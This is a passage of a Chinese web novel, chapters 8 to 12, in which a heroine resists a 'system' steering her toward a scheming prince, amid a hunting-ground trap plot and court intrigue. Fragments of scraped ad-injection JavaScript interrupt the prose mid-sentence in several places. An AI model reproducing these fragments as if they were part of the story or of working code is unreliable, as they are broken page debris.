沈流筝却不觉危险,走上前抬手摸了摸高大马匹,回头看萧时寂,笑着道:“我以后定也要学会骑些高大的马匹,不能因为害怕便止步不前。况且,你还在这里又不走远,我肯定不会出什么事情的。” “姑娘说对吗?”沈流筝眉眼弯弯,询问骆席玉的肯定答复。 骆席玉先拍着胸脯保证:“姑娘尽管放心,我自然不会让你受伤,就算有危险,我也会挡在你前面。” 她向来讲义气。 萧时寂衣袖下的手捏得泛白,脑中思绪纷乱,深深吸了口气,用力道:“流筝,你听我的,我们先离开这里,以后你什么时候想来骑马我们就什么时候来。现在跟我回去,好吗?” 沈流筝不解:“啊?” 也对,掐算着时间,若是再不走,骆席玉的马匹就要发疯,不能再拖延了。 萧时寂拉上沈流筝作势离开,骆席玉抬手拦住,用不善的眼神瞥了萧时寂一眼。 皮鞭上的流苏摇晃,让人心烦。 “这位公子,你这是几个意思?没见到人家姑娘想骑我的马,我们到底是哪里碍到您的眼了?您想走,可以,先把话给我说清楚喽!” 萧时寂眉眼狭长,扫过去的眸光狠厉,顺着皮鞭的方向看清那张熟悉又陌生的脸。 但很快,眼底藏着狠厉又消散不见。 骆席玉变得不一样了。 前世的骆席玉自从见他的第一眼便心悦不已,在骆将军面前将他夸的天花乱坠,满心满眼都是他。 可这世却以这样的相遇作为开端,着实有些难堪。 骆席玉微仰下巴,再问:“难不成,你是觉得我的马儿有什么问题?” 她问出这话的同时,身旁侍女心思敏锐,便开始查验马匹的状况。 或许,是真的有人动了手脚。 萧时寂眼底划过惊慌。 还好沈流筝连忙站出来解围:“没有没有,姑娘,萧公子只是担心我的安慰,绝没有旁的意思。我们现在交换一下马匹,等我骑上没事他就不会再说什么了。” 侍女双眼警惕地盯着萧时寂,而萧时寂垂下眼眸,遮住所有阴冷。 若是真的顺势查出马匹草料问题,怕会牵扯更多麻烦。想到这里。 萧时寂气极,蓦地笑出声来。 罢了。 现在的他只能赌。 两人如愿牵上对方的马匹,骆席玉小心翼翼上马,再慢慢地扶上它小白马的鬓毛,眼底笑意逐渐放大。而沈流筝呢,假装费力上马不易,等快坐稳时还要低声惊呼。 笑声回荡在林间。 萧时寂望着他,心绪复杂,可见到沈流筝脸上的欣喜,所有的话都被噎住。他转身快步走到树下,抬手捶在树身上。 秋叶飘落,洋洋洒洒。 萧时寂冷静下来,转过身,靠在树上盯着这边的情况。 “姑娘,我叫骆席玉,你叫什么名字呀?还有你的这匹上好的小白马,有名字了吗?” “我叫沈流筝,骆姑娘唤我流筝就好,那我以后叫你席玉。”沈流筝笑得甜美,“小白马的名字很好记,叫小黑。” 骆席玉看呆了,她喜欢眼前这个做事爽快的女子,声音甜美不失温柔,虽然长得可爱却不娇气。 这个朋友,她交定了! 不过刚才她说这匹小白马叫啥,什么小黑? 等反应过来,骆席玉捧腹大笑:“小黑好啊,小黑这名字好记……小黑,小黑哈哈哈哈……”说完,宠溺揉了揉小黑的白色脑袋。 骆席玉带着小黑逛了一圈,整个人都充满生机。沈流筝望着她,心中感慨万千,这么鲜活有生命力的女子,为何会蹉跎在对萧时寂的单相思上。 是系统在控制吗? 沈流筝眼底的笑意彻底褪去,看着系统板时常升起的地方,带上一丝讥笑。 系统真是心甘情愿为男主服务。 沈流筝身下的马匹或许是不习惯换了个主人,逐渐开始躁动不安,摇摇晃晃。 沈流筝挑挑眉,毫不在意。 等马儿去林边逛了一圈,忽的消失不见,只余下不寻常的嘶鸣声回荡。 骆席玉侍女四处观望,却没看到马儿踪迹,意识到问题不对劲,开始朝骆席玉喊叫。 人不见了。 骆席玉和萧时寂同时收到这个消息,反应却不同。 骆席玉没有那么担忧,她的马是父亲精挑细选的良驹,从来没出过事。或许,流筝姑娘只是悠闲去了别处。 只有萧时寂知道,手下给马下了药,等利马狂奔,不熟悉马性的人稍有不慎便滚落下坡,没了性命。 流筝此时如何了? 侍女在骆席女耳边说了几句,骆席玉变了脸色。 流筝姑娘有危险。 “你怎么看?”骆席玉直直看向萧时寂,把后面的事情都安排好,“那我们分头去找,找到了就回来集合,一定要把流筝姑娘安全带回。” 萧时寂闭了闭眼,回顾今日之事为何会发展到这种地步。 一切都太混乱。 所有的事都是从那个不中用的手下开始的,在错误的时间点燃鸣嘀,再到两个人交换马匹,才有了后来这么多事。 到底是谁在背后搞鬼,他定要查个清楚。 侍女听命去找人,萧时寂平静地看了一眼小白马上的骆席玉。骆席玉歪头不解:“呵,你看我干什么,还不快去追啊。” 甚至在萧时寂离开后,还在他背后喊着:“方才你说过,一定会护她周全,你一定得做到,将人完好带回来。” 萧时寂来到一片空地,四周有黑色乌鸦围绕,叫声凄厉。他勒紧缰绳,停了下来。 周身气氛压抑阴沉。 萧时寂纵身下马,脚步踩在落叶上,发出吱呀声。他停住脚步,再往前已经没有路了,所以流筝到底是去了哪里? 林间利于隐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蔽,在人看不到的地方,闪出一双甜美眼眸,明亮无比又带着狡黠笑意,红唇轻启,像在施咒一般。 “掉进去。” 突然,地面四处冒出绳子,将人紧紧捆住,随后坠入前方提前制作好的陷阱里,被惊吓到的马儿高高扬起马蹄,惊慌无措。 洞穴里的声音传不出来。 很好。 沈流筝拍了拍手掌,嘴角缓缓勾起,这是真心实意的笑。 她让路无劫昨晚便挖好洞穴,在里面铺满毒虫,只有及时救治,才有机会活命。 但这里,今日没人能找得到。 沈流筝心满意足,感受到凉风拂过耳边,心里是久违的畅快,今日能杀死男主,就意味她的自由来临。她不愿意按照脑瘫剧情走,也不允许有人控制她。 然而,男主光环是散着金光的,远远超过她的预估。 下一刻,沈流筝整个人站定在原地,抬头看见明晃晃的金色大字。 【男主陷入危机,女主舍命相救。】 沈流筝身子动不了。 脑海中再次传来刺痛,痛感一股接着一股,整个脑袋仿佛要爆炸。系统每次的惩罚都要加重,痛感也更为强烈。 沈流筝却笑。 舍他妈的命! 汗珠低落,隐入土壤消失不见。一滴一滴,腐蚀她的意志。 【系统提问:是否愿意按照剧情走?选择愿意,则可以永久避免惩罚痛苦。】 系统给她选择,只要踏踏实实走剧情,按照原身本来的命运走,不过是中间做一段时间的虐文女主,最后还是会持有男主的爱。 何乐不为? 系统还在引诱沈流筝。 最终获得男主的爱,享受皇室享之不尽的荣华富贵,和旁人的羡慕目光。 怎么不算是极好的结果呢? 沈流筝没有什么气力,身体支撑不住早已倒地,微弱的声音却依旧坚决,对系统极尽嘲讽。 “想让我愿意……呵,下辈子吧。” 话语刚落,眼前的一切开始天旋地转,随后整个人控制不住地坠入深渊。就像是在穿过一条长隧道,两边闪过许多画面,都是原身受过的痛苦和最后与男主相守的快乐。 画面变换,到了尽头突然黑下去,紧随而来的是手臂传来的剧痛感。 沈流筝往后倒去,可身后忽然传来一双手,轻柔地将她抱在怀中,抚上她的墨发。 是萧时寂从背后接住了她。 沈流筝汗珠从额角滑落,发丝黏在额头上。她费力睁眼,艰难察看周身环境。 四周都是凹凸不平的石壁和泥土,还有杂乱野草。所以,她这是掉洞穴里面了,掉到她提前备好的陷阱里面了。 而手臂的黑紫伤口,还有那只仓皇逃窜的毒蝎子,都是系统的恩赐。而提前备好的毒虫,也都成了系统攻击她的武器。 真好啊! 沈流筝瞧着眼前的脸,恨意从眼中平静溢出。 又是之前看死人般的目光,萧时寂手下一顿,不过很快,他的怜意超过猜忌,将人轻柔揽在怀中,温柔道:“流筝,你竟愿意为我跳入陷阱,你本可以不这样做……流筝……” 沈流筝扯动嘴角,浮起的笑意显得有些疯狂,缓缓抬手抚上萧时寂的眉眼,轻轻描摹。 “你说,我要怎么对你才好?” 9. 第 9 章 等沈流筝再次恢复意识,耳边传来的是两人的交谈声。鼻尖萦绕一股安神香的气味,头顶雪白床帐晃动,她悄悄合上双眼。 沈流筝被人救了,跟着萧时寂一起,在系统的强制安排下活了下来。 萧时寂声音饱含担忧,询问旁边的医师:“大夫,沈姑娘的身体如何,为何过了这么久还没有醒来的迹象?” 大夫捋了捋胡须,不紧不慢回:“殿下,这位姑娘中了剧毒,能活下来已经是万幸。这还得多亏了殿下寻来的风铃谷神药,这位姑娘的身体已经好多了,殿下莫急,相信很快,人便能痊愈苏醒。” 风铃谷的神药? 国师闻人珏每隔三年都会给皇室提供极其珍贵的药丸神丹,身为皇子,萧时寂刚好拥有两颗。 即便人在宫外,也要备在身上以防万一,今日恰好用在了沈流筝身上。 脚步声传来,又有其他人走进营帐。 来人衣着雍容华贵,发顶缀满珠钗,正是平阳侯夫人,萧时寂的姨母。 她眼含忧虑看了眼床上的人,朝萧时寂道:“殿下,沈姑娘吉人自有天相,无须太过担忧。今日之事我已经知晓,我实在是没想到竟有人会在猎场设下如此恶毒的陷阱,若不是沈姑娘,只怕、只怕现在躺在床上的人便是殿下你了。” 平阳侯夫人说的对。 沈流筝为萧时寂奋不顾身的事迹已经传开。 萧时寂眼底就溢满温情,望着昏睡的人道:“姨母,您说的我都明白,也知道该怎么做。” 人已经没有什么大碍,平阳侯夫人示意大夫先退下,随后轻声说:“殿下,外面有人找殿下。我远远瞧着像是孟丞相之女,我想这事,见与不见还都看殿下你的想法。” 她虽不喜孟朝颜,但话还是要带到的,若是不见便直接将人打发了就好。 “不见。”萧时寂不假思索。 “那就好。”平阳侯夫人欣慰离开。 然而孟朝颜不死心,很快派人送了一封手写信,送到了萧时寂手里。信上的大致意思是说,听闻萧时寂遭遇危险,她只有亲眼见上一面才能放心,不然绝不离开,会一直站着等到相见位置。 平阳侯夫人欣慰早了,大皇子已经回宫,孟朝颜不再忌惮什么,依靠死缠烂打,萧时寂最终还是见了她。 就如同两人幼时一般,萧时寂总会答应她要的请求。 夕阳西垂,落日余晖洒下。 营帐外,一道美丽倩影在静静等待来人。萧时寂慢步走来,望着熟悉的背影,心一下子不再那么冰凉。 “我离京之前便说过,没有必要之事我们不再相见。” 孟朝颜眼眶湿润:“时寂,我只是担心你,我一听到你受伤的消息,便什么也顾不了。” “那现在你看到了,我很好,没有受伤。受伤的是流筝,是她为我跳下陷阱,也是她为我挡住毒虫,她为了我连自己的性命都可以不顾。”萧时寂冷笑,眼含讥讽瞧着对面之人,“相比之下,你又能为我做什么,就是这些无谓的担心吗?” 每句话都扎在孟朝颜的心口。 孟朝颜抬手捂住嘴巴,心痛地快要说不出话来,哽咽道:“时寂,不是的这样的。你知道我们自幼交好,我一直对父亲说你很好……” 萧时寂长叹声道:“是啊,丞相大人慧眼识珠,可惜,看中的人不是我,而是大哥。” 其实萧时寂在说这话时,并不觉得很可惜,因为他坚信,最后的赢家会是自己。到那时,他就让每个人都看清楚,最初做的选择都是错的。 孟朝颜使劲摇头,拼命否认。 萧时寂作势离开:“够了,到此为止吧。” “那沈流筝在你心里算什么?”孟朝颜高声问到,声音顿了顿继续,“国师给的药物珍贵难寻,你毫不犹豫便用在了她身上,所以你是真的喜欢上她了,是吗……” “我与她的事,与你无关。” 萧时寂冷冷扔下话语,渐行渐远,离开的身影被夕阳拉得很长。 营帐外,有人来给萧时寂传信,说是找到了林中手下的尸体。 人早已断气。 他提前埋伏在那里,却惨遭毒手。那么究竟是谁提前得知此事,恰好在林间设袭,又得以在马匹发疯之前放出信号。 突然间,离奇的想法浮现在脑海中,萧时寂转身望向营帐。 此时沈流筝还躺在床上,脸色依旧苍白,气息微弱。 萧时寂想,若是没有流筝在场,与骆席玉相关之事似乎便能顺利进行? 萧时寂脸色变得阴森冰冷。 原来是有人通过利用流筝来扰乱他的计划。 简直可恨。 营帐内突然传来响动,萧时寂挥手让手下离开,他掀开营帐的门走进去,侍候的人迎面撞来,水洒在了他身上。 萧时寂想要发火,但忍住了。他急切看向床边,只见沈流筝坐了起来,气色明显好转,正朝他笑着,像是在安抚他的情绪。 “流筝,你醒了!”萧时寂惊喜过望。 他认定沈流筝甘愿为他舍弃性命,就如同上辈子一般,爱他护他,于是眼神更加温柔。 沈流筝又犯恶心了。 萧时寂耐心讲说她晕过去之后发生的事情,猎场的巡逻之人将两人救下,并且安然送回营帐。 说来也怪,陷阱所在地偏僻古怪,很少有人会涉足,但偏偏猎场的人发现了动静,将二人救起。 这是不幸中的万幸。 沈流筝静静听完,不染情绪的眼眸平静望着他,缓缓开口:“殿下是有福之人。” “不是我有福,是一切多亏了流筝,你为我挡住毒虫,着实令我惊讶。”萧时寂没想到这一世的流筝这么早便对自己情根深种,实在是意料之外的。 “即便我不想,我也控制不了我自己的身体。”沈流筝自嘲。 可萧时寂不懂,只以为沈流筝又在直白地表达爱意,诸如此类,让他竟然有些习惯了。随后他眼中浮现宠溺笑意,站起身去端来一壶温茶。 茶香四溢,氤氲眉眼。 “你的心意,我都知道。”萧时寂伸手想摸她的发顶,但手还是停住,他将茶盏放下,用手扶上她的肩膀,郑重道:“流筝,等狩猎结束,我带你去宫里见一见母妃,你可愿意随我前去?” 萧时寂的母亲李氏,也是个妙人。 沈流筝勾唇:“自然是愿意的。” 去宫里能找她想要的东西,她很乐意接受邀请。 “太好了!回头我安排好一切,流筝你只管好生修养即可。” 说得起劲,萧时寂忽地又想起一事,他从怀里掏出串红色珠串,放在沈流筝手里,又紧紧合上手掌。 他解释道:“对了,这是骆席玉让我给你的珠串,她期盼着你能早早醒来。她留话说,一有空便来看你。” 萧时寂不隐瞒此事,也瞒不了。 更何况以后还要找机会与骆席玉交好。 红色珠串晶莹剔透,入手温润,是骆席玉的母亲特意从寺庙里求来的,可以保佑人平安。 沈流筝眨了眨眼,感受着玉石透过手心的温润触感。 这份心思很贵重。 此时的骆席玉正在营帐中来回踱步,满眼惆怅,每次挑开营帐门帘就有人阻拦。 简直烦死了! 骆将军认为女儿闯了祸,安排手下看守好营帐,不准任何人私自出入。 骆席玉被禁足一日。 侍女小月出入自由,这趟回来将沈流筝醒来的消息带来,骆席玉听完松了一口气。 外面的事她有所耳闻,不管究竟是怎样的,都与她的马反常有关系。 骆席玉是既自责又担心。 在小月倒茶时,两人不经意间看到茶台上放了一封信,骆席玉一把抓过来拆开,等看清楚上面的内容,她愣住了。 骆席玉喃喃自语:“这封信是何时放在这里的?” 身旁侍女小月脸色凝重起来:“营帐今早便有重兵把守,若是有人进来,只能是昨夜。” “昨夜?也就是说昨夜便有人知道我的马被下了药,然后专门给我传了消息?” 信上记载有人深夜潜入马棚在草料中下药之事,以此来提醒。可这信放在隐蔽处,难不成是不想让她及时得知消息? 究竟是几个意思? 侍女思索片刻:“小姐的猜测应当是对的。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 侍女小月反应过来,将今日的怀疑一一道来。沈流筝骑马时她便察觉马匹异常,分明比平日多了些躁动。 她本想上前将马牵制,可稍有不注意,人和马便一同消失了。 可下药的目的是为什么呢? 骆席玉一时捉摸不透。 侍女小月将这件事原封不动告知了骆将军。 骆将军大怒,将桌子都拍出了裂痕。 他无欲无求,生平最在意的就是妻子和独女。自从骆席玉来到猎场,已经遭遇了两次危险。 第一次是陡坡遇险,从草地滚落,还好有大皇子将人救下,免受重伤,只是擦破了一点皮肉。 那次他就在附近,看得清楚,应当没什么人插手,纯纯意外而已。 但这第二次竟是有人像让席玉经受坠马之险,事情的反常,再加上深夜送来的密信,敲定了有人在捣鬼。 竟然伤害他的爱女。 骆将军怒火不消:“查清楚,到底是谁在草料里下毒!再查清楚背后之人的真实目的!” 侍女小月将萧时寂的异常说给骆将军听。那会儿萧时寂恰好在附近,还有之后的异常反应,都太反常,甚至有些刻意。 他这是想干什么? 是想将他牵扯入朝堂之中,还是想自导自演一出英雄救美? 没有实质性的证据,只凭猜猜测,这种话是不能乱说的。 骆将军虽然还没见过这位七皇子,但已经留下了不好的印象。 …… 狩猎已经进行了两日,最后便是要举办一场篝火野餐,众人围坐在一起吃肉喝酒,畅饮开怀。 骆席玉早早就来了外面,四处寻找沈流筝的身影,等远远瞧清楚那张甜美可爱的脸,便高高举起双手,摇晃着打招呼。 “流筝姑娘,我在这里——” 沈流筝朝她挥手示意。 可惜,流筝姑娘身旁还有一人,是古怪的萧时寂,虽然知道了他是皇子,但仍不愿意给他好脸色。 要是人能消失就好了,这样便只有她和流筝在一起吃肉喝酒,好不自在。 此时的骆席玉还不知道,她说的话很快便会灵验。 不远处的骆将军在与大皇子萧时焕交谈,也时刻望着自己的爱女。 这一幕刺痛了萧时寂的眼睛,尤其是看到骆将军点头大小,眼底全是对大哥的欣赏满意。 骆将军心里对大皇子的评价中肯,为人宽厚,能力欠缺但有了贤臣辅佐,也不失为一代明君人选。 反倒是走来的那位七皇子,瞧着心术不正的模样。 骆将军往萧时寂的方向瞟了一眼,满是不善。萧时寂收到眼神,愣住片刻,不明白他是哪里将人得罪了? 他很少怀疑自己,不曾联想到草料下毒一事会被人查出来。 “殿下。”有侍卫跑来,附在萧时寂的耳边轻语道:“殿下让我们找的人,有消息了……” 沈流筝垂着眉眼,往外走几步,不愿听手下与萧时寂的谈话。 萧时寂眼中闪过喜色,转身对她道:“流筝,宫里忽然有些事需要我去办,今日你便与骆席玉一起,回头等我有空了,必定再陪你一次。” 沈流筝点头,眉眼弯弯看着他扯谎。 找路无劫什么时候成宫里的事了? 萧时寂走后,身边一切都顺眼多了,沈流筝手中拿着一串半熟的肉串在烤,耳边听着骆席玉喋喋不休的念叨。 “你可喜欢吃辣?”沈流筝举着烤好的肉问她。 骆席玉从前不曾吃辣,但今日忽然想试试:“可以!” 沈流筝将带的调料洒在肉上,手法细致,烤肉滋滋冒着香气,骆席玉盯得快要流口水。 骆席玉接过烤串便迫不及待吃起来,辛辣入口的滋味当真是刺激。 辣。 好辣。 骆席玉眼眶涌出泪珠来。 恍惚间,眼前多了个水壶,沈流筝为她备的。骆席玉嘴角笑意憋不住,接过水壶咕嘟咕嘟大喝起来。 当真是舒服。 “你可喜欢萧时寂?”沈流筝忽然问。 “啊?”骆席玉听到这问题忽然呆住,吓得她打了个响嗝。 10. 第 10 章 辛辣感觉涌入鼻腔,让骆席玉回过神来,她抬手在沈流筝面前晃了晃,皱眉道:“你昨日不会是撞到脑袋了吧,怎么问我这样的问题?奇奇怪怪……” 沈流筝将辣料洒在烤串上。 “如果你和萧时寂换一种方式相遇,如今你和他会是何种情形,你想过没?” 骆席玉瞥过去一眼:“我倒想听听,你说的是哪样的相遇方式?” “假如前两日在斜坡上,出手相助救你的人不是萧时焕,而是萧时寂,你会觉得萧时寂与现在的观感不同吗?” 沈流筝的叫法让人一时忘记这两个人是皇子。 原来沈流筝不喜欢唤他们为殿下。 骆席玉静默少许,正色道:“我骆席玉,若是有一日突然心悦萧时寂这样的男子,那便是我被雷劈了。” 好狠毒的话。 骆席玉说出真心实意的话。 她从没有期望成为皇子妃,被困在方圆之间,想的从来都是能跟随父亲一道戍边作战,边疆才是她想去的地方。 这是她心底的秘密,没有对旁人说过,因为她知道父亲不会答应,说了也是徒劳。 还有一事,她清楚记得在见到萧时寂时,仿佛有种被指引的错觉,思绪纷乱,过往记忆都变得模糊,是沈流筝的声音将她拉扯回来。 沈流筝就这么静静地抬眼着,良久,唇角弯起好看弧度。 她大概清楚了。 今日沈流筝专门派路无劫把萧时寂引到别处,使得能与骆席玉独处,询问她的心里所想。 骆席玉若是没说谎,那么前世骆席玉对萧时寂的迷恋,是系统操控的结果。 沈流筝抬头望着系统面板升起的位置,上面金光若隐若现,猛然间变得极其强烈,让人无法直视。 愤怒了吗? 操控会逐渐失灵,现在会,以后还会。 沈流筝垂眸,看不出任何情绪。 所有为萧时寂铺路的女子都会挣脱束缚,没有谁生来便是为了他所用。 不应该,也不再会出现。 大抵是吃肉的畅快让人眩晕,骆席玉内心埋藏已久的心愿要藏不住,对着眼前人开始倾诉。 若是有朝一日,她能如同父亲那般,在战场为国效力,做名英姿飒爽的女将军,不知道会有多么荣光。 父亲想来把她呵护的很好,断不会允许她受伤,更别说是上战场了。 骆席玉一脸的伤感,说话这番话,拿起酒袋咕嘟咕嘟灌了起来,洒在衣领上,用衣袖擦了擦。 “我们来打个赌,如何?” “什么?” 沈流筝拍了拍手,站起身往外走。骆席玉一头雾水,不明白她要做什么,只快步跟上,挠挠头问:“你方才说什么与我打赌,几个意思?” 两人一同往靶场走,箭靶齐齐排成列。 沈流筝随意挑了把长弓,又走到箭筒旁抽出支箭。骆席玉这下明白过来了,这是要跟自己比试射箭。 “与我打赌就是要与我比试射箭?”骆席玉一脸质疑,“你可曾射过箭?” “不曾。”沈流筝答得干脆。 “那你跟我比什么呀?”骆席玉都笑了。 “怎么,不敢比?”沈流筝抬眼看她,忽地笑了,“我们来比试第三箭,我若是赌赢了,你的愿望就会实现。” 骆席玉原本要嘲讽的话都憋了回去,她愣在原地。 沈流筝拉起弓箭,眯着眼睛看着远处的箭靶,秋风吹乱她的墨发,握弓的手稳稳不动。 骆席玉觉得沈流筝在发光。 忽然,利箭离弦,骆席玉听得到怦怦的心跳声,她心怀期待,想一睹沈流筝是否有高超箭术。 可箭只飞出八尺远,便掉落在地。 “……”骆席玉内心有些复杂,嘴巴张着,一时不知道该安慰她还是安慰自己。 骆席玉嘿嘿笑着:“我知道你前两日才解除骑射,就算今日射不中也没关系,我知道我的心愿本就是奢望……” 可是她话还没说,沈流筝的第二箭已经搭在弦上,又射了出去。 骆席玉死死盯着。 可是,这第二箭如同方才一般,又是中道崩殂,扎在了地上,连箭靶的边都没挨着,只是看着比方才稍微远了些。 骆席玉脑中蹦出另外的安慰措辞,嘿嘿又道:“不错不错,总归是进步了,这箭射得远了好多呢!” 沈流筝神色平静,始终一言不发,又掏出第三支箭。 还来? 骆席玉本来想打哈哈将这次打赌绕过去,可瞧着眼前人专注的神情,突然什么话都说不出来了,只是衣袖下的手忍不住握紧。 沈流筝闭了闭眼,感受着风拂过耳边,她缓缓睁眼。 利箭离弦,像是裹挟了千钧之力。这次,利箭狠狠扎在箭靶上,箭靶砰的一声炸裂开,碎屑散落一地。 骆席玉看看她,又转头看箭靶,嘴里的话都说不清了,激动地快要跳起来。 “流筝你、你射中了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,你这、你这把箭靶都射坏了,说是百步穿杨都不为过,我定是比不过你!” “嗯。”沈流筝把长弓放下。 “原来你射箭这么厉害,我说你怎么要跟我打赌,原来那些嘲笑的人都在胡诌,你这简直太厉害了。” 沈流筝往回走。 “我从未说过我会射箭。” 骆席玉看沈流筝的背影都觉得肆意风流极了,眼中不停冒着星星,急忙跟上去,又开始絮絮叨叨个不停。 “我给你说,边境风光可美了,与京师的完全不一样,等回头我去了那边,给你带很多好玩的好用的……” 骆席玉突然觉得她想的事不一定实现不了。 …… 时间过得很快,半月过去,已经到来入宫的日子。 萧时寂准备的车马早已侯在府外,将人接到了宫门外,萧时寂的母妃李氏会派宫里的人来接,让沈流筝稍等片刻。 不过等明月宫的女官来接人,却被告知人已经进去了。 好端端的一个人怎么能不见了? 明月宫的女官派人去四处找寻。 此时的天机处却闯进位陌生女子。 明明已到深秋,天机处依旧满是花香,青翠枝头偶尔落上几只鸟儿在玩耍。 神女虞昭将龟壳放在桌案,角落稳稳放了盏星盘,她摇着手中的竹筒,细长竹简掉落桌案上。 “咦,今天好像有客人来,那我就给这位女子算一卦吧。”虞昭兴致勃勃,仿佛发现件趣事。 她被师傅派到皇宫,专为陛下推演星辰、预言吉凶,平日里没什么好玩的事。今日竟然有人意外闯入此地,对她而来就是新奇的。 虞昭将龟壳放好,铜币散落,她眼睛闭着,可眉头逐渐皱起来。良久,她摸上龟壳,眼底全是茫然。 “不对呀……”虞昭喃喃自语,不知该如何解释出现的结果。 此时,悦耳的铃铛声响起,将心底烦闷暂时扫除。 虞昭抬头看向来人,是她的大师兄闻人珏,也就是陛下封的国师。 闻人珏看了看卦象,又瞧着她皱起的眉头,虽然没开口说话,但目光显然在问发生了何事。 虞昭很快明白过来,解释道:“大师兄,方才我给人算命格,竟然一片空白,我什么也算不出来……” 闻人珏眉梢微动,有些意外。 虞昭出生便有天赋,又得了师傅真传,可以算出每个人的命格,算无遗漏,竟也有算不出来的时候。 11. 第 11 章 沈流筝离开天机处,准备前往明月宫,刚好碰上寻来的女官,她只说自己迷了路。 女官见她长相甜美乖巧,讲话声音又软糯可人,便不多计较。 沈流筝回头看了眼。 如今的皇帝和太后都听信神明之说,占卜之术最管用,利用天机处可以作为对付萧时寂的手段,所以此地定是要来亲眼看看的。 宫道两旁红墙高大,遥望明月宫,典雅华丽。 据说皇帝初见李氏时惊为天人,极尽宠爱,花费重金建造了明月宫,导致太后不悦。 静妃李氏是个什么样的人呢? 骆席玉虽然不大进宫,但小道消息却清楚不少,秋猎时想到沈流筝与萧时寂眼下的关系,便在她耳边絮叨了不少宫中之事。 “你与萧时寂……算了,你要是真心悦他就心悦吧,回头不喜欢咱们再换个人就是。”骆席玉一脸惋惜,“不过听闻静妃是个妙人,生平只爱花草,等你见了就知道了。” 明月宫内,静妃拿着把剪刀,在修剪才送来不久的一盆贡品芍药,等人进来,她才放下东西看过去。 萧时寂在殿中坐着,看到人来想起身迎接,却被静妃的一个眼神扼住:“嗯?坐好。” “母妃……”萧时寂只得乖乖坐好,他向来敬重母妃。 静妃坐在上位,换了幅笑脸:“初次见面,沈姑娘也坐。” 沈流筝笑:“臣女谢过静妃娘娘。” “这盆白色玉簪花,清香淡雅,很配沈姑娘今日素雅的妆容,沈姑娘瞧着如何?” “静妃娘娘眼光自然是好的。” “好。”静妃召来主事女官,吩咐道:“等沈姑娘走的时候,把这盆玉簪花给人捎上,要亲自送到宫外。” 沈流筝眉眼弯弯:“臣女多谢静妃娘娘。” 静妃耐心观察沈流筝,眼中没有不善,也未曾露出不屑神色,仿佛在她眼中,只有上好花草能吸引她的注意。 萧时寂附和:“流筝,我母妃最喜欢这些花草,这盆玉簪花是前日新得的贡品,看来母妃很喜欢你。” 静妃娇嗔看了萧时寂一眼:“就你话多。” 母子情深,当真是其乐融融的一幕。 在旁人看来,静妃是个不屑沾染心计的后宫妃子,不插手朝政,也并未给儿子铺过路。或许她认为,平静淡泊在宫中才是长久之计,导致如今萧时寂远远不及萧时焕有权势。 沈流筝想不通,萧时寂这品行大概是遗传了皇帝? 萧时寂特意提到了初冬的宫宴,想着到那时以静妃的名义邀请沈流筝入宫。 宫宴不止是群臣朝贺,更是一场为皇室子弟选妃的盛宴,每年的冬季宫宴,太后都会为促成几桩联姻佳话。 若是能由太后做主,一切则水到渠成。 萧时寂暗自规划好一切。 静妃瞧着儿子没出息的样子,让人先退下,她要与沈流筝单独相处。萧时寂离开时用眼神安抚沈流筝,是在告诉她一切安好,莫要忧心。 的确是不用担心。 两人相处愉悦,静妃人如其名,性子安静不怎么说话,没有旁人初见时盘查询问。 对面的沈流筝则是副乖巧柔顺模样,静妃带着她在明月宫内逛了逛,展示庭院中诸多心爱花草,沈流筝人美嘴甜将人哄得笑得合不拢嘴。 临走时,静妃又让人多捎带了几盆难寻的美人面。 静妃与萧时寂性子相差太大,沈流筝把二人划分得清楚。 大皇子萧时焕与母妃齐贵妃亦是如此,齐贵妃卯足劲给儿子铺路,但奈何萧时焕为人佛系,没有很强烈的夺嫡念头。 …… 沈流筝离开明月宫往外走,绕过湖心亭,恰巧碰上了一幕戏。 几名宫女太监凑在一处叽叽喳喳,脸上带着嘲弄之色,望着湖边捡风筝的女童。 显然是在组队欺负人。 女童紫色衣裳磨得发白却整洁,面容沉静,正站在湖边直直盯着挂在枯枝上风筝。 头顶系统面板忽然亮起。 【请对男主的未来帮手施以援手。】 男主帮手? 沈流筝瞧着不远处的女童,或者说是少女。 后宫算得上男主助手的人屈指可数,令 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人印象最深刻的是昭华公主萧和颐,也是此时冷宫中的小可怜。 萧和颐已满十岁,长期的营养不良让她比寻常人身量更小,面容惨黄,不过脸上的一双异色眼眸却亮得可怕。 沈流筝转身离开,不过很快,身后忽地传来一声巨大落水声。 她停下脚步,回头看了过来。 那支风筝挂在枝头,但站在岸边够不着,只能跳进湖里。深秋的湖水冰冷刺骨,萧和颐义无反顾跳进去,拽住风筝扯下,上岸后浑身早已湿透。 原本说话的几个宫女太监都噤声,面面相觑后不敢多言。唯有一个声音尖锐的太监扯着嗓子,晃着头四处看:“一个破风筝而已,竟还像没长眼睛地往里跳……看吧,冷宫里果然没什么值钱的东西……” 萧和颐抬眼看向他,像是要把他的长相记在心里。 “看什么看!哼,就算你再看我也不能把我怎么着!” 太监恶狠狠瞪回去,不甘示弱。他深知一个冷宫不受宠的公主,翻不起什么风浪,况且她那位母妃早已得了疯病,陛下厌恶还来不及。 萧和颐衣角还滴着冷水,青紫嘴唇发白,她没再说什么,转身沿着湖心亭的小道回冷宫。 沈流筝还站在原地,恰好在这条路上。 萧和颐走近,脚步慢下来,最后停在沈流筝面前。惨淡日光照射下,她瞳孔能显出异色的光,奇异瑰丽。 萧和颐见过太多人,此时她紧抿着唇,开口道:“你不是宫里的人。” 沈流筝唇角弯起,清澈杏眼中浮起笑意:“你为什么觉得我不是?” “直觉。”萧和颐顿了顿,不愿说实话。 “那你的直觉很准。”沈流筝回。 萧和颐脸上依旧没有什么情绪,只深深看了沈流筝一眼,擦肩而过,捏着风筝的手指泛白。 …… 宫里的花送到了海棠苑。 沈流筝在沈家的地位不可同日而语。沈明礼喜上眉梢,整日做着升官嘉爵的美梦,管家连带着一众下人都变得恭恭敬敬,或许只有郭氏,捶胸顿足,惋惜能进宫的不是自己亲女儿。 12. 第 12 章 